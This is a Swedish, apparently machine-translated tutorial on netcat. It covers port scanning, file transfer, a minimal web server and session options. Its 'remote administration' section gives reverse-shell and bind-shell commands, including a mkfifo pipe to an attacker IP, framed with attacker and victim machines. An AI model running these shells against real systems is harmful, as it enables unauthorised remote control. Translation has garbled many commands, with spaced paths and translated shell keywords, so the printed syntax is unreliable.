NetCat

Netcat - Swiss Army Knife Pro-användning

Netcat - Swiss Army Knife Pro-användning
Netcat är ett verktyg som används för att läsa och skriva data över TCP- och UDP-portar. Den kan användas för många coola saker som filöverföring, portavsökning, portomdirigering, bakdörr till någon annans dator, skapa ett enkelt chattprogram, för felsökning av nätverk och mer, det är därför det är känt som schweizisk armékniv. Det kommer också förinstallerat med nästan alla Linux-distributioner idag och det används huvudsakligen av nätverksadministratörer, DevOps och Security Engineers för sina dagliga små uppgifter.

En kort skillnad mellan netcat-traditionell och netcat-openbsd

Det finns två liknande paket tillgängliga för netcat med en liten skillnad mellan dem.

netcat-traditionell innehåller ytterligare ett '-e' alternativ som kan användas för att binda ett program (i.e bash) med netcat. Denna funktion är mycket användbar för fjärradministrationsändamål.

netcat-openbsd har ytterligare stöd för IPv6 och proxyservrar.

Netcat-installation

Även om netcat kommer förinstallerat i de flesta Linux-distributioner, men om det inte är det, kan det enkelt installeras med följande kommandon.

För traditionellt paket,

[e-postskyddad]: ~ $ sudo apt-get install netcat-traditional

För openbsd-version,

[e-postskyddad]: ~ $ sudo apt-get install netcat-openbsd

Netcat för Windows kan laddas ner härifrån https: // sourceforge.net / projects / nc110 / filer /.

Nu ska vi utforska några intressanta användningsfall av netcat

Port Scanning med netcat

För att söka efter öppna portar, använd alternativet '-z'. Netcat kommer att försöka ansluta till varje port utan att skicka data eller mycket begränsad data i UDP-fall. Skriv följande

[e-postskyddad]: ~ $ nc -z -v hackme.org 80
... klipp ..
hackme.org [217.78.1.155] 80 (http) öppen

Om du vill söka efter olika portar skriver du

[e-postskyddad]: ~ $ nc -z -nv 192.168.100.72 20-80
(Okänt) [192.168.100.72] 80 (http) öppen
(Okänt) [192.168.100.72] 22 (ssh) öppen

Filöverföring med netcat

Ett annat användbart användningsfall för netcat är filöverföring mellan fjärrdatorer. Du kan skicka texter och binära filer från en dator till en annan dator. Vi försöker skicka en fil “fil.pdf ”från Linux PC till Windows PC [IP 192.168.100.72] med hjälp av netcat som ett exempel.

Skriv följande på Windows-maskin (mottagare)

C: \ Användare> nc -nvlp 1337> fil.pdf
Lyssnar på [0.0.0.0] (familj 2, port 1337)

Skriv följande på Linux-maskin (avsändare)

[e-postskyddad]: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Anslutning till 192.168.100.72 1337 port [tcp / *] lyckades!

Fjärradministration med netcat

Ett av de bästa användningsfallet för netcat är fjärradministration, det betyder att du kan styra någon annans dator med netcat. Netcat-traditionell levereras med alternativet '-e' som kan användas för att binda ett program (i.e cmd.exe i Windows eller bash i Linux) med en port, det betyder att netcat fungerar som kommunikator mellan programmet och fjärrdatorn. Netcat kommer att ta emot kommandon från fjärr-PC, körs på lokalt system och skickar tillbaka resultaten till fjärrdatorn. Denna funktion används ofta för skadliga ändamål, för att hålla bakdörrar i datorer och servrar. Den här funktionen är endast tillgänglig i netcat-traditionell men med ett litet trick kan netcat-openbsd också användas för samma ändamål. Du kan använda två sätt att styra andras dator.

I en Omvänd skal anslutning lyssnar en angripare på en port och väntar på att en anslutning ska skickas från offermaskinen. Den används när offrets dator ligger bakom NAT eller inte har offentlig IP.

För att få ett omvänd skal med hjälp av netcat måste du lyssna på en port med netcat. Skriv följande på angriparmaskinen,

[e-postskyddad]: ~ $ nc -nvlp 1337
Lyssnar på [0.0.0.0] (familj 2, port 1337)

På offrets maskin (om netcat-traditionell är installerad)

// ersätt “/ bin / bash” med “cmd.exe ”i fall av Windows

[e-postskyddad]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bash

För netcat-openbsd (där alternativet "-e" inte stöds)

[e-postskyddad]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat
/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f

Medan i en Bind skal anslutning binder angriparen en port på offermaskinen och ansluter till den porten med hjälp av klientuttaget. Den används när angriparens maskin ligger bakom NAT eller inte har en offentlig IP.

Skriv på offermaskinen

[e-postskyddad]: ~ $ nc -nlvp 1337 -e / bin / bash
lyssnar på [någon] 1337 ..

Nu, för att köra kommandon på offermaskinen, skriv

[e-postskyddad]: ~ $ nc -nv 127.0.0.1 1337
Anslutning till 127.0.0.1 1337 port [tcp / *] lyckades!
$ id
uid = 1000 (azad) gid = 1000 (azad) grupper = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)

Enkel webbserver med netcat

Du kan också göra ett annat enkelt trick för att använda netcat som minimal webbserver med en enda sida. Denna webbserver skulle vara väldigt enkel utan speciella konfigurationer, och vi använder den för att skicka vår HTML-kod till webbläsaren.

[e-postskyddad]: ~ $ medan det är sant; gör echo -e "HTTP / 1.1 200 OK \ n \ n $ (eko "


Min enkla webbserver med netcat

")" | nc -nvlp 1337; Gjort
Lyssnar på [0.0.0.0] (familj 2, port 1337)

Försök nu att hämta webbsidan med curl

[e-postskyddad]: ~ $ curl http: // 127.0.0.1: 1337 /

Min enkla webbserver med netcat

Ange timeout för en netcat-session

Du kan ange timeout för en netcat-session med alternativet “-w”. Netcat kopplar automatiskt bort sin session efter den angivna tiden.

// -w [Tid i sekunder]
[e-postskyddad]: ~ $ nc -w 40 -nvlp 1337
Lyssnar på [0.0.0.0] (familj 2, port 1234)

Fortsätt lyssna även om klienten stänger anslutningen

I normalt läge stängs netcat-servern av och slutar lyssna på porten när en klient stänger anslutningen. Du kan hålla servern uppe med "-k" -alternativet

[e-postskyddad]: ~ $ nc -k -nlvp 1234
Lyssnar på [0.0.0.0] (familj 2, port 1234)

Slutsats

Netcat är enkelt men ändå effektivt verktyg som kan användas för många enkla dagliga uppgifter. Den levereras förinstallerad i nästan alla UNIX-liknande operativsystem och kan användas för olika uppgifter som kommunikation mellan två datorer, filöverföring och många fler.

Portar med öppen källkod för kommersiella spelmotorer
Gratis, öppen källkod och plattformsmekaniska rekreationer kan användas för att spela gamla såväl som några av de ganska senaste speltitlarna. I den h...
Bästa kommandoradsspel för Linux
Kommandoraden är inte bara din största allierade när du använder Linux, det kan också vara källan till underhållning eftersom du kan använda den för a...
Bästa Gamepad Mapping Apps för Linux
Om du gillar att spela spel på Linux med en gamepad istället för ett typiskt tangentbord och musinmatningssystem, finns det några användbara appar för...